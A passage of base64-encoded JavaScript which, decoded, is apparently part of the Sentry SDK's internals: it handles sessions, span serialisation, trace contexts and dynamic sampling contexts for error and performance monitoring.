wLAopIHsKICByZXR1cm4gbmV3IFN5bmNQcm9taXNlKChyZXNvbHZlLCByZWplY3QpID0+IHsKICAgIGNvbnN0IHByb2Nlc3NvciA9IHByb2Nlc3NvcnNbaW5kZXhdOwogICAgaWYgKGV2ZW50ID09PSBudWxsIHx8IHR5cGVvZiBwcm9jZXNzb3IgIT09ICdmdW5jdGlvbicpIHsKICAgICAgcmVzb2x2ZShldmVudCk7CiAgICB9IGVsc2UgewogICAgICBjb25zdCByZXN1bHQgPSBwcm9jZXNzb3IoeyAuLi5ldmVudCB9LCBoaW50KSA7CgogICAgICBERUJVR19CVUlMRCAmJiBwcm9jZXNzb3IuaWQgJiYgcmVzdWx0ID09PSBudWxsICYmIGxvZ2dlci5sb2coYEV2ZW50IHByb2Nlc3NvciAiJHtwcm9jZXNzb3IuaWR9IiBkcm9wcGVkIGV2ZW50YCk7CgogICAgICBpZiAoaXNUaGVuYWJsZShyZXN1bHQpKSB7CiAgICAgICAgdm9pZCByZXN1bHQKICAgICAgICAgIC50aGVuKGZpbmFsID0+IG5vdGlmeUV2ZW50UHJvY2Vzc29ycyhwcm9jZXNzb3JzLCBmaW5hbCwgaGludCwgaW5kZXggKyAxKS50aGVuKHJlc29sdmUpKQogICAgICAgICAgLnRoZW4obnVsbCwgcmVqZWN0KTsKICAgICAgfSBlbHNlIHsKICAgICAgICB2b2lkIG5vdGlmeUV2ZW50UHJvY2Vzc29ycyhwcm9jZXNzb3JzLCByZXN1bHQsIGhpbnQsIGluZGV4ICsgMSkKICAgICAgICAgIC50aGVuKHJlc29sdmUpCiAgICAgICAgICAudGhlbihudWxsLCByZWplY3QpOwogICAgICB9CiAgICB9CiAgfSk7Cn0KCi8qKgogKiBDcmVhdGVzIGEgbmV3IGBTZXNzaW9uYCBvYmplY3QgYnkgc2V0dGluZyBjZXJ0YWluIGRlZmF1bHQgcGFyYW1ldGVycy4gSWYgb3B0aW9uYWwgQHBhcmFtIGNvbnRleHQKICogaXMgcGFzc2VkLCB0aGUgcGFzc2VkIHByb3BlcnRpZXMgYXJlIGFwcGxpZWQgdG8gdGhlIHNlc3Npb24gb2JqZWN0LgogKgogKiBAcGFyYW0gY29udGV4dCAob3B0aW9uYWwpIGFkZGl0aW9uYWwgcHJvcGVydGllcyB0byBiZSBhcHBsaWVkIHRvIHRoZSByZXR1cm5lZCBzZXNzaW9uIG9iamVjdAogKgogKiBAcmV0dXJucyBhIG5ldyBgU2Vzc2lvbmAgb2JqZWN0CiAqLwpmdW5jdGlvbiBtYWtlU2Vzc2lvbihjb250ZXh0KSB7CiAgLy8gQm90aCB0aW1lc3RhbXAgYW5kIHN0YXJ0ZWQgYXJlIGluIHNlY29uZHMgc2luY2UgdGhlIFVOSVggZXBvY2guCiAgY29uc3Qgc3RhcnRpbmdUaW1lID0gdGltZXN0YW1wSW5TZWNvbmRzKCk7CgogIGNvbnN0IHNlc3Npb24gPSB7CiAgICBzaWQ6IHV1aWQ0KCksCiAgICBpbml0OiB0cnVlLAogICAgdGltZXN0YW1wOiBzdGFydGluZ1RpbWUsCiAgICBzdGFydGVkOiBzdGFydGluZ1RpbWUsCiAgICBkdXJhdGlvbjogMCwKICAgIHN0YXR1czogJ29rJywKICAgIGVycm9yczogMCwKICAgIGlnbm9yZUR1cmF0aW9uOiBmYWxzZSwKICAgIHRvSlNPTjogKCkgPT4gc2Vzc2lvblRvSlNPTihzZXNzaW9uKSwKICB9OwoKICBpZiAoY29udGV4dCkgewogICAgdXBkYXRlU2Vzc2lvbihzZXNzaW9uLCBjb250ZXh0KTsKICB9CgogIHJldHVybiBzZXNzaW9uOwp9CgovKioKICogVXBkYXRlcyBhIHNlc3Npb24gb2JqZWN0IHdpdGggdGhlIHByb3BlcnRpZXMgcGFzc2VkIGluIHRoZSBjb250ZXh0LgogKgogKiBOb3RlIHRoYXQgdGhpcyBmdW5jdGlvbiBtdXRhdGVzIHRoZSBwYXNzZWQgb2JqZWN0IGFuZCByZXR1cm5zIHZvaWQuCiAqIChIYWQgdG8gZG8gdGhpcyBpbnN0ZWFkIG9mIHJldHVybmluZyBhIG5ldyBhbmQgdXBkYXRlZCBzZXNzaW9uIGJlY2F1c2UgY2xvc2luZyBhbmQgc2VuZGluZyBhIHNlc3Npb24KICogbWFrZXMgYW4gdXBkYXRlIHRvIHRoZSBzZXNzaW9uIGFmdGVyIGl0IHdhcyBwYXNzZWQgdG8gdGhlIHNlbmRpbmcgbG9naWMuCiAqIEBzZWUgQmFzZUNsaWVudC5jYXB0dXJlU2Vzc2lvbiApCiAqCiAqIEBwYXJhbSBzZXNzaW9uIHRoZSBgU2Vzc2lvbmAgdG8gdXBkYXRlCiAqIEBwYXJhbSBjb250ZXh0IHRoZSBgU2Vzc2lvbkNvbnRleHRgIGhvbGRpbmcgdGhlIHByb3BlcnRpZXMgdGhhdCBzaG91bGQgYmUgdXBkYXRlZCBpbiBAcGFyYW0gc2Vzc2lvbgogKi8KLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGNvbXBsZXhpdHkKZnVuY3Rpb24gdXBkYXRlU2Vzc2lvbihzZXNzaW9uLCBjb250ZXh0ID0ge30pIHsKICBpZiAoY29udGV4dC51c2VyKSB7CiAgICBpZiAoIXNlc3Npb24uaXBBZGRyZXNzICYmIGNvbnRleHQudXNlci5pcF9hZGRyZXNzKSB7CiAgICAgIHNlc3Npb24uaXBBZGRyZXNzID0gY29udGV4dC51c2VyLmlwX2FkZHJlc3M7CiAgICB9CgogICAgaWYgKCFzZXNzaW9uLmRpZCAmJiAhY29udGV4dC5kaWQpIHsKICAgICAgc2Vzc2lvbi5kaWQgPSBjb250ZXh0LnVzZXIuaWQgfHwgY29udGV4dC51c2VyLmVtYWlsIHx8IGNvbnRleHQudXNlci51c2VybmFtZTsKICAgIH0KICB9CgogIHNlc3Npb24udGltZXN0YW1wID0gY29udGV4dC50aW1lc3RhbXAgfHwgdGltZXN0YW1wSW5TZWNvbmRzKCk7CgogIGlmIChjb250ZXh0LmFibm9ybWFsX21lY2hhbmlzbSkgewogICAgc2Vzc2lvbi5hYm5vcm1hbF9tZWNoYW5pc20gPSBjb250ZXh0LmFibm9ybWFsX21lY2hhbmlzbTsKICB9CgogIGlmIChjb250ZXh0Lmlnbm9yZUR1cmF0aW9uKSB7CiAgICBzZXNzaW9uLmlnbm9yZUR1cmF0aW9uID0gY29udGV4dC5pZ25vcmVEdXJhdGlvbjsKICB9CiAgaWYgKGNvbnRleHQuc2lkKSB7CiAgICAvLyBHb29kIGVub3VnaCB1dWlkIHZhbGlkYXRpb24uIOKAlCBLYW1pbAogICAgc2Vzc2lvbi5zaWQgPSBjb250ZXh0LnNpZC5sZW5ndGggPT09IDMyID8gY29udGV4dC5zaWQgOiB1dWlkNCgpOwogIH0KICBpZiAoY29udGV4dC5pbml0ICE9PSB1bmRlZmluZWQpIHsKICAgIHNlc3Npb24uaW5pdCA9IGNvbnRleHQuaW5pdDsKICB9CiAgaWYgKCFzZXNzaW9uLmRpZCAmJiBjb250ZXh0LmRpZCkgewogICAgc2Vzc2lvbi5kaWQgPSBgJHtjb250ZXh0LmRpZH1gOwogIH0KICBpZiAodHlwZW9mIGNvbnRleHQuc3RhcnRlZCA9PT0gJ251bWJlcicpIHsKICAgIHNlc3Npb24uc3RhcnRlZCA9IGNvbnRleHQuc3RhcnRlZDsKICB9CiAgaWYgKHNlc3Npb24uaWdub3JlRHVyYXRpb24pIHsKICAgIHNlc3Npb24uZHVyYXRpb24gPSB1bmRlZmluZWQ7CiAgfSBlbHNlIGlmICh0eXBlb2YgY29udGV4dC5kdXJhdGlvbiA9PT0gJ251bWJlcicpIHsKICAgIHNlc3Npb24uZHVyYXRpb24gPSBjb250ZXh0LmR1cmF0aW9uOwogIH0gZWxzZSB7CiAgICBjb25zdCBkdXJhdGlvbiA9IHNlc3Npb24udGltZXN0YW1wIC0gc2Vzc2lvbi5zdGFydGVkOwogICAgc2Vzc2lvbi5kdXJhdGlvbiA9IGR1cmF0aW9uID49IDAgPyBkdXJhdGlvbiA6IDA7CiAgfQogIGlmIChjb250ZXh0LnJlbGVhc2UpIHsKICAgIHNlc3Npb24ucmVsZWFzZSA9IGNvbnRleHQucmVsZWFzZTsKICB9CiAgaWYgKGNvbnRleHQuZW52aXJvbm1lbnQpIHsKICAgIHNlc3Npb24uZW52aXJvbm1lbnQgPSBjb250ZXh0LmVudmlyb25tZW50OwogIH0KICBpZiAoIXNlc3Npb24uaXBBZGRyZXNzICYmIGNvbnRleHQuaXBBZGRyZXNzKSB7CiAgICBzZXNzaW9uLmlwQWRkcmVzcyA9IGNvbnRleHQuaXBBZGRyZXNzOwogIH0KICBpZiAoIXNlc3Npb24udXNlckFnZW50ICYmIGNvbnRleHQudXNlckFnZW50KSB7CiAgICBzZXNzaW9uLnVzZXJBZ2VudCA9IGNvbnRleHQudXNlckFnZW50OwogIH0KICBpZiAodHlwZW9mIGNvbnRleHQuZXJyb3JzID09PSAnbnVtYmVyJykgewogICAgc2Vzc2lvbi5lcnJvcnMgPSBjb250ZXh0LmVycm9yczsKICB9CiAgaWYgKGNvbnRleHQuc3RhdHVzKSB7CiAgICBzZXNzaW9uLnN0YXR1cyA9IGNvbnRleHQuc3RhdHVzOwogIH0KfQoKLyoqCiAqIENsb3NlcyBhIHNlc3Npb24gYnkgc2V0dGluZyBpdHMgc3RhdHVzIGFuZCB1cGRhdGluZyB0aGUgc2Vzc2lvbiBvYmplY3Qgd2l0aCBpdC4KICogSW50ZXJuYWxseSBjYWxscyBgdXBkYXRlU2Vzc2lvbmAgdG8gdXBkYXRlIHRoZSBwYXNzZWQgc2Vzc2lvbiBvYmplY3QuCiAqCiAqIE5vdGUgdGhhdCB0aGlzIGZ1bmN0aW9uIG11dGF0ZXMgdGhlIHBhc3NlZCBzZXNzaW9uIChAc2VlIHVwZGF0ZVNlc3Npb24gZm9yIGV4cGxhbmF0aW9uKS4KICoKICogQHBhcmFtIHNlc3Npb24gdGhlIGBTZXNzaW9uYCBvYmplY3QgdG8gYmUgY2xvc2VkCiAqIEBwYXJhbSBzdGF0dXMgdGhlIGBTZXNzaW9uU3RhdHVzYCB3aXRoIHdoaWNoIHRoZSBzZXNzaW9uIHdhcyBjbG9zZWQuIElmIHlvdSBkb24ndCBwYXNzIGEgc3RhdHVzLAogKiAgICAgICAgICAgICAgIHRoaXMgZnVuY3Rpb24gd2lsbCBrZWVwIHRoZSBwcmV2aW91c2x5IHNldCBzdGF0dXMsIHVubGVzcyBpdCB3YXMgYCdvaydgIGluIHdoaWNoIGNhc2UKICogICAgICAgICAgICAgICBpdCBpcyBjaGFuZ2VkIHRvIGAnZXhpdGVkJ2AuCiAqLwpmdW5jdGlvbiBjbG9zZVNlc3Npb24oc2Vzc2lvbiwgc3RhdHVzKSB7CiAgbGV0IGNvbnRleHQgPSB7fTsKICBpZiAoc3RhdHVzKSB7CiAgICBjb250ZXh0ID0geyBzdGF0dXMgfTsKICB9IGVsc2UgaWYgKHNlc3Npb24uc3RhdHVzID09PSAnb2snKSB7CiAgICBjb250ZXh0ID0geyBzdGF0dXM6ICdleGl0ZWQnIH07CiAgfQoKICB1cGRhdGVTZXNzaW9uKHNlc3Npb24sIGNvbnRleHQpOwp9CgovKioKICogU2VyaWFsaXplcyBhIHBhc3NlZCBzZXNzaW9uIG9iamVjdCB0byBhIEpTT04gb2JqZWN0IHdpdGggYSBzbGlnaHRseSBkaWZmZXJlbnQgc3RydWN0dXJlLgogKiBUaGlzIGlzIG5lY2Vzc2FyeSBiZWNhdXNlIHRoZSBTZW50cnkgYmFja2VuZCByZXF1aXJlcyBhIHNsaWdodGx5IGRpZmZlcmVudCBzY2hlbWEgb2YgYSBzZXNzaW9uCiAqIHRoYW4gdGhlIG9uZSB0aGUgSlMgU0RLcyB1c2UgaW50ZXJuYWxseS4KICoKICogQHBhcmFtIHNlc3Npb24gdGhlIHNlc3Npb24gdG8gYmUgY29udmVydGVkCiAqCiAqIEByZXR1cm5zIGEgSlNPTiBvYmplY3Qgb2YgdGhlIHBhc3NlZCBzZXNzaW9uCiAqLwpmdW5jdGlvbiBzZXNzaW9uVG9KU09OKHNlc3Npb24pIHsKICByZXR1cm4gZHJvcFVuZGVmaW5lZEtleXMoewogICAgc2lkOiBgJHtzZXNzaW9uLnNpZH1gLAogICAgaW5pdDogc2Vzc2lvbi5pbml0LAogICAgLy8gTWFrZSBzdXJlIHRoYXQgc2VjIGlzIGNvbnZlcnRlZCB0byBtcyBmb3IgZGF0ZSBjb25zdHJ1Y3RvcgogICAgc3RhcnRlZDogbmV3IERhdGUoc2Vzc2lvbi5zdGFydGVkICogMTAwMCkudG9JU09TdHJpbmcoKSwKICAgIHRpbWVzdGFtcDogbmV3IERhdGUoc2Vzc2lvbi50aW1lc3RhbXAgKiAxMDAwKS50b0lTT1N0cmluZygpLAogICAgc3RhdHVzOiBzZXNzaW9uLnN0YXR1cywKICAgIGVycm9yczogc2Vzc2lvbi5lcnJvcnMsCiAgICBkaWQ6IHR5cGVvZiBzZXNzaW9uLmRpZCA9PT0gJ251bWJlcicgfHwgdHlwZW9mIHNlc3Npb24uZGlkID09PSAnc3RyaW5nJyA/IGAke3Nlc3Npb24uZGlkfWAgOiB1bmRlZmluZWQsCiAgICBkdXJhdGlvbjogc2Vzc2lvbi5kdXJhdGlvbiwKICAgIGFibm9ybWFsX21lY2hhbmlzbTogc2Vzc2lvbi5hYm5vcm1hbF9tZWNoYW5pc20sCiAgICBhdHRyczogewogICAgICByZWxlYXNlOiBzZXNzaW9uLnJlbGVhc2UsCiAgICAgIGVudmlyb25tZW50OiBzZXNzaW9uLmVudmlyb25tZW50LAogICAgICBpcF9hZGRyZXNzOiBzZXNzaW9uLmlwQWRkcmVzcywKICAgICAgdXNlcl9hZ2VudDogc2Vzc2lvbi51c2VyQWdlbnQsCiAgICB9LAogIH0pOwp9Cgpjb25zdCBUUkFDRV9GTEFHX1NBTVBMRUQgPSAweDE7CgovKioKICogQ29udmVydCBhIHNwYW4gdG8gYSB0cmFjZSBjb250ZXh0LCB3aGljaCBjYW4gYmUgc2VudCBhcyB0aGUgYHRyYWNlYCBjb250ZXh0IGluIGFuIGV2ZW50LgogKi8KZnVuY3Rpb24gc3BhblRvVHJhY2VDb250ZXh0KHNwYW4pIHsKICBjb25zdCB7IHNwYW5JZDogc3Bhbl9pZCwgdHJhY2VJZDogdHJhY2VfaWQgfSA9IHNwYW4uc3BhbkNvbnRleHQoKTsKICBjb25zdCB7IGRhdGEsIG9wLCBwYXJlbnRfc3Bhbl9pZCwgc3RhdHVzLCB0YWdzLCBvcmlnaW4gfSA9IHNwYW5Ub0pTT04oc3Bhbik7CgogIHJldHVybiBkcm9wVW5kZWZpbmVkS2V5cyh7CiAgICBkYXRhLAogICAgb3AsCiAgICBwYXJlbnRfc3Bhbl9pZCwKICAgIHNwYW5faWQsCiAgICBzdGF0dXMsCiAgICB0YWdzLAogICAgdHJhY2VfaWQsCiAgICBvcmlnaW4sCiAgfSk7Cn0KCi8qKgogKiBDb252ZXJ0IGEgc3BhbiB0byBhIEpTT04gcmVwcmVzZW50YXRpb24uCiAqIE5vdGUgdGhhdCBhbGwgZmllbGRzIHJldHVybmVkIGhlcmUgYXJlIG9wdGlvbmFsIGFuZCBuZWVkIHRvIGJlIGd1YXJkZWQgYWdhaW5zdC4KICoKICogTm90ZTogQmVjYXVzZSBvZiB0aGlzLCB3ZSBjdXJyZW50bHkgaGF2ZSBhIGNpcmN1bGFyIHR5cGUgZGVwZW5kZW5jeSAod2hpY2ggd2Ugb3B0ZWQgb3V0IG9mIGluIHBhY2thZ2UuanNvbikuCiAqIFRoaXMgaXMgbm90IGF2b2lkYWJsZSBhcyB3ZSBuZWVkIGBzcGFuVG9KU09OYCBpbiBgc3BhblV0aWxzLnRzYCwgd2hpY2ggaW4gdHVybiBpcyBuZWVkZWQgYnkgYHNwYW4udHNgIGZvciBiYWNrd2FyZHMgY29tcGF0aWJpbGl0eS4KICogQW5kIGBzcGFuVG9KU09OYCBuZWVkcyB0aGUgU3BhbiBjbGFzcyBmcm9tIGBzcGFuLnRzYCB0byBjaGVjayBoZXJlLgogKiBUT0RPIHY4OiBXaGVuIHdlIHJlbW92ZSB0aGUgZGVwcmVjYXRlZCBzdHVmZiBmcm9tIGBzcGFuLnRzYCwgd2UgY2FuIHJlbW92ZSB0aGUgY2lyY3VsYXIgZGVwZW5kZW5jeSBhZ2Fpbi4KICovCmZ1bmN0aW9uIHNwYW5Ub0pTT04oc3BhbikgewogIGlmIChzcGFuSXNTcGFuQ2xhc3Moc3BhbikpIHsKICAgIHJldHVybiBzcGFuLmdldFNwYW5KU09OKCk7CiAgfQoKICAvLyBGYWxsYmFjazogV2UgYWxzbyBjaGVjayBmb3IgYC50b0pTT04oKWAgaGVyZS4uLgogIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogIGlmICh0eXBlb2Ygc3Bhbi50b0pTT04gPT09ICdmdW5jdGlvbicpIHsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgcmV0dXJuIHNwYW4udG9KU09OKCk7CiAgfQoKICByZXR1cm4ge307Cn0KCi8qKgogKiBTYWRseSwgZHVlIHRvIGNpcmN1bGFyIGRlcGVuZGVuY3kgY2hlY2tzIHdlIGNhbm5vdCBhY3R1YWxseSBpbXBvcnQgdGhlIFNwYW4gY2xhc3MgaGVyZSBhbmQgY2hlY2sgZm9yIGluc3RhbmNlb2YuCiAqIDooIFNvIGluc3RlYWQgd2UgYXBwcm94aW1hdGUgdGhpcyBieSBjaGVja2luZyBpZiBpdCBoYXMgdGhlIGBnZXRTcGFuSlNPTmAgbWV0aG9kLgogKi8KZnVuY3Rpb24gc3BhbklzU3BhbkNsYXNzKHNwYW4pIHsKICByZXR1cm4gdHlwZW9mIChzcGFuICkuZ2V0U3BhbkpTT04gPT09ICdmdW5jdGlvbic7Cn0KCi8qKgogKiBSZXR1cm5zIHRydWUgaWYgYSBzcGFuIGlzIHNhbXBsZWQuCiAqIEluIG1vc3QgY2FzZXMsIHlvdSBzaG91bGQganVzdCB1c2UgYHNwYW4uaXNSZWNvcmRpbmcoKWAgaW5zdGVhZC4KICogSG93ZXZlciwgdGhpcyBoYXMgYSBzbGlnaHRseSBkaWZmZXJlbnQgc2VtYW50aWMsIGFzIGl0IGFsc28gcmV0dXJucyBmYWxzZSBpZiB0aGUgc3BhbiBpcyBmaW5pc2hlZC4KICogU28gaW4gdGhlIGNhc2Ugd2hlcmUgdGhpcyBkaXN0aW5jdGlvbiBpcyBpbXBvcnRhbnQsIHVzZSB0aGlzIG1ldGhvZC4KICovCmZ1bmN0aW9uIHNwYW5Jc1NhbXBsZWQoc3BhbikgewogIC8vIFdlIGFsaWduIG91ciB0cmFjZSBmbGFncyB3aXRoIHRoZSBvbmVzIE9wZW5UZWxlbWV0cnkgdXNlCiAgLy8gU28gd2UgYWxzbyBjaGVjayBmb3Igc2FtcGxlZCB0aGUgc2FtZSB3YXkgdGhleSBkby4KICBjb25zdCB7IHRyYWNlRmxhZ3MgfSA9IHNwYW4uc3BhbkNvbnRleHQoKTsKICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgbm8tYml0d2lzZQogIHJldHVybiBCb29sZWFuKHRyYWNlRmxhZ3MgJiBUUkFDRV9GTEFHX1NBTVBMRUQpOwp9CgovKioKICogR2V0IHRoZSBjdXJyZW50bHkgYWN0aXZlIGNsaWVudC4KICovCmZ1bmN0aW9uIGdldENsaWVudCgpIHsKICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICByZXR1cm4gZ2V0Q3VycmVudEh1YigpLmdldENsaWVudCgpOwp9CgovKioKICogR2V0IHRoZSBjdXJyZW50bHkgYWN0aXZlIHNjb3BlLgogKi8KZnVuY3Rpb24gZ2V0Q3VycmVudFNjb3BlKCkgewogIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogIHJldHVybiBnZXRDdXJyZW50SHViKCkuZ2V0U2NvcGUoKTsKfQoKLyoqCiAqIFJldHVybnMgdGhlIHJvb3Qgc3BhbiBvZiBhIGdpdmVuIHNwYW4uCiAqCiAqIEFzIGxvbmcgYXMgd2UgdXNlIGBUcmFuc2FjdGlvbmBzIGludGVybmFsbHksIHRoZSByZXR1cm5lZCByb290IHNwYW4KICogd2lsbCBiZSBhIGBUcmFuc2FjdGlvbmAgYnV0IGJlIGF3YXJlIHRoYXQgdGhpcyBtaWdodCBjaGFuZ2UgaW4gdGhlIGZ1dHVyZS4KICoKICogSWYgdGhlIGdpdmVuIHNwYW4gaGFzIG5vIHJvb3Qgc3BhbiBvciB0cmFuc2FjdGlvbiwgYHVuZGVmaW5lZGAgaXMgcmV0dXJuZWQuCiAqLwpmdW5jdGlvbiBnZXRSb290U3BhbihzcGFuKSB7CiAgLy8gVE9ETyAodjgpOiBSZW1vdmUgdGhpcyBjaGVjayBhbmQganVzdCByZXR1cm4gc3BhbgogIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogIHJldHVybiBzcGFuLnRyYW5zYWN0aW9uOwp9CgovKioKICogQ3JlYXRlcyBhIGR5bmFtaWMgc2FtcGxpbmcgY29udGV4dCBmcm9tIGEgY2xpZW50LgogKgogKiBEaXNwYXRjaGVzIHRoZSBgY3JlYXRlRHNjYCBsaWZlY3ljbGUgaG9vayBhcyBhIHNpZGUgZWZmZWN0LgogKi8KZnVuY3Rpb24gZ2V0RHluYW1pY1NhbXBsaW5nQ29udGV4dEZyb21DbGllbnQoCiAgdHJhY2VfaWQsCiAgY2xpZW50LAogIHNjb3BlLAopIHsKICBjb25zdCBvcHRpb25zID0gY2xpZW50LmdldE9wdGlvbnMoKTsKCiAgY29uc3QgeyBwdWJsaWNLZXk6IHB1YmxpY19rZXkgfSA9IGNsaWVudC5nZXREc24oKSB8fCB7fTsKICAvLyBUT0RPKHY4KTogUmVtb3ZlIHNlZ21lbnQgZnJvbSBVc2VyCiAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgY29uc3QgeyBzZWdtZW50OiB1c2VyX3NlZ21lbnQgfSA9IChzY29wZSAmJiBzY29wZS5nZXRVc2VyKCkpIHx8IHt9OwoKICBjb25zdCBkc2MgPSBkcm9wVW5kZWZpbmVkS2V5cyh7CiAgICBlbnZpcm9ubWVudDogb3B0aW9ucy5lbnZpcm9ubWVudCB8fCBERUZBVUxUX0VOVklST05NRU5ULAogICAgcmVsZWFzZTogb3B0aW9ucy5yZWxlYXNlLAogICAgdXNlcl9zZWdtZW50LAogICAgcHVibGljX2tleSwKICAgIHRyYWNlX2lkLAogIH0pIDsKCiAgY2xpZW50LmVtaXQgJiYgY2xpZW50LmVtaXQoJ2NyZWF0ZURzYycsIGRzYyk7CgogIHJldHVybiBkc2M7Cn0KCi8qKgogKiBBIFNwYW4gd2l0aCBhIGZyb3plbiBkeW5hbWljIHNhbXBsaW5nIGNvbnRleHQuCiAqLwoKLyoqCiAqIENyZWF0ZXMgYSBkeW5hbWljIHNhbXBsaW5nIGNvbnRleHQgZnJvbSBhIHNwYW4gKGFuZCBjbGllbnQgYW5kIHNjb3BlKQogKgogKiBAcGFyYW0gc3BhbiB0aGUgc3BhbiBmcm9tIHdoaWNoIGEgZmV3IHZhbHVlcyBsaWtlIHRoZSByb290IHNwYW4gbmFtZSBhbmQgc2FtcGxlIHJhdGUgYXJlIGV4dHJhY3RlZC4KICoKICogQHJldHVybnMgYSBkeW5hbWljIHNhbXBsaW5nIGNvbnRleHQKICovCmZ1bmN0aW9uIGdldER5bmFtaWNTYW1wbGluZ0NvbnRleHRGcm9tU3BhbihzcGFuKSB7CiAgY29uc3QgY2xpZW50ID0gZ2V0Q2xpZW50KCk7CiAgaWYgKCFjbGllbnQpIHsKICAgIHJldHVybiB7fTsKICB9CgogIC8vIHBhc3NpbmcgZW1pdD1mYWxzZSBoZXJlIHRvIG9ubHkgZW1pdCBsYXRlciBvbmNlIHRoZSBEU0MgaXMgYWN0dWFsbHkgcG9wdWxhdGVkCiAgY29uc3QgZHNjID0gZ2V0RHluYW1pY1NhbXBsaW5nQ29udGV4dEZyb21DbGllbnQoc3BhblRvSlNPTihzcGFuKS50cmFjZV9pZCB8fCAnJywgY2xpZW50LCBnZXRDdXJyZW50U2NvcGUoKSk7CgogIC8vIFRPRE8gKHY4KTogUmVtb3ZlIHY3RnJvemVuRHNjIGFzIGEgVHJhbnNhY3Rpb24gd2lsbCBubyBsb25nZXIgaGF2ZSBfZnJvemVuRHluYW1pY1NhbXBsaW5nQ29udGV4dAogIGNvbnN0IHR4biA9IGdldFJvb3RTcGFuKHNwYW4pIDsKICBpZiAoIXR4bikgewogICAgcmV0dXJuIGRzYzsKICB9CgogIC8vIFRPRE8gKHY4KTogUmVtb3ZlIHY3RnJvemVuRHNjIGFzIGEgVHJhbnNhY3Rpb24gd2lsbCBubyBsb25nZXIgaGF2ZSBfZnJvemVuRHluYW1pY1NhbXBsaW5nQ29udGV4dAogIC8vIEZvciBub3cgd2UgbmVlZCB0byBhdm9pZCBicmVha2luZyB1c2VycyB3aG8gZGlyZWN0bHkgY3JlYXRlZCBhIHR4biB3aXRoIGEgRFNDLCB3aGVyZSB0aGlzIGZpZWxkIGlzIHN0aWxsIHNldC4KICAvLyBAc2VlIFRyYW5zYWN0aW9uIGNsYXNzIGNvbnN0cnVjdG9yCiAgY29uc3QgdjdGcm96ZW5Ec2MgPSB0eG4gJiYgdHhuLl9mcm96ZW5EeW5hbWljU2FtcGxpbmdDb250ZXh0OwogIGlmICh2N0Zyb3plbkRzYykgewogICAgcmV0dXJuIHY3RnJvemVuRHNjOwogIH0KCiAgLy8gVE9ETyAodjgpOiBSZXBsYWNlIHR4bi5tZXRhZGF0YSB3aXRoIHR4bi5hdHRyaWJ1dGVzW10KICAvLyBXZSBjYW4ndCBkbyB0aGlzIHlldCBiZWNhdXNlIGF0dHJpYnV0ZXMgYXJlbid0IGFsd2F5cyBzZXQgeWV0LgogIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogIGNvbnN0IHsgc2FtcGxlUmF0ZTogbWF5YmVTYW1wbGVSYXRlLCBzb3VyY2UgfSA9IHR4bi5tZXRhZGF0YTsKICBpZiAobWF5YmVTYW1wbGVSYXRlICE9IG51bGwpIHsKICAgIGRzYy5zYW1wbGVfcmF0ZSA9IGAke21heWJlU2FtcGxlUmF0ZX1gOwogIH0KCiAgLy8gV2UgZG9uJ3Qgd2FudCB0byBoYXZlIGEgdHJhbnNhY3Rpb24gbmFtZSBpbiB0aGUgRFNDIGlmIHRoZSBzb3VyY2UgaXMgInVybCIgYmVjYXVzZSBVUkxzIG1pZ2h0IGNvbnRhaW4gUElJCiAgY29uc3QganNvblNwYW4gPSBzcGFuVG9KU09OKHR4bik7CgogIC8vIGFmdGVyIEpTT04gY29udmVyc2lvbiwgdHhuLm5hbWUgYmVjb21lcyBqc29uU3Bhbi5kZXNjcmlwdGlvbgogIGlmIChzb3VyY2UgJiYgc291cmNlICE9PSAndXJsJykgewogICAgZHNjLnRyYW5zYWN0aW9uID0ganNvblNwYW4uZGVzY3JpcHRpb247CiAgfQoKICBkc2Muc2FtcGxlZCA9IFN0cmluZyhzcGFuSXNTYW1wbGVkKHR4bikpOwoKICBjbGllbnQuZW1pdCAmJiBjbGllbnQuZW1pdCgnY3JlYXRlRHNjJywgZHNjKTsKCiAgcmV0dXJuIGRzYzsKfQoKLyoqCiAqIEFwcGxpZXMgZGF0YSBmcm9tIHRoZSBzY29wZSB0byB0aGUgZXZlbnQgYW5kIHJ1bnMgYWxsIGV2ZW50IHByb2Nlc3NvcnMgb24gaXQuCiAqLwpmdW5jdGlvbiBhcHBseVNjb3BlRGF0YVRvRXZlbnQoZXZlbnQsIGRhdGEpIHsKICBjb25zdCB7IGZpbmdlcnByaW50LCBzcGFuLCBicmVhZGNydW1icywgc2RrUHJvY2Vzc2luZ01ldGFkYXRhIH0gPSBkYXRhOwoKICAvLyBBcHBseSBnZW5lcmFsIGRhdGEKICBhcHBseURhdGFUb0V2ZW50KGV2ZW50LCBkYXRhKTsKCiAgLy8gV2Ugd2FudCB0byBzZXQgdGhlIHRyYWNlIGNvbnRleHQgZm9yIG5vcm1hbCBldmVudHMgb25seSBpZiB0aGVyZSBpc24ndCBhbHJlYWR5CiAgLy8gYSB0cmFjZSBjb250ZXh0IG9uIHRoZSBldmVudC4gVGhlcmUgaXMgYSBwcm9kdWN0IGZlYXR1cmUgaW4gcGxhY2Ugd2hlcmUgd2UgbGluawogIC8vIGVycm9ycyB3aXRoIHRyYW5zYWN0aW9uIGFuZCBpdCByZWxpZXMgb24gdGhhdC4KICBpZiAoc3BhbikgewogICAgYXBwbHlTcGFuVG9FdmVudChldmVudCwgc3Bhbik7CiAgfQoKICBhcHBseUZpbmdlcnByaW50VG9FdmVudChldmVudCwgZmluZ2VycHJpbnQpOwogIGFwcGx5QnJlYWRjcnVtYnNUb0V2ZW50KGV2ZW50LCBicmVhZGNydW1icyk7CiAgYXBwbHlTZGtNZXRhZGF0YVRvRXZlbnQoZXZlbnQsIHNka1Byb2Nlc3NpbmdNZXRhZGF0YSk7Cn0KCmZ1bmN0aW9uIGFwcGx5RG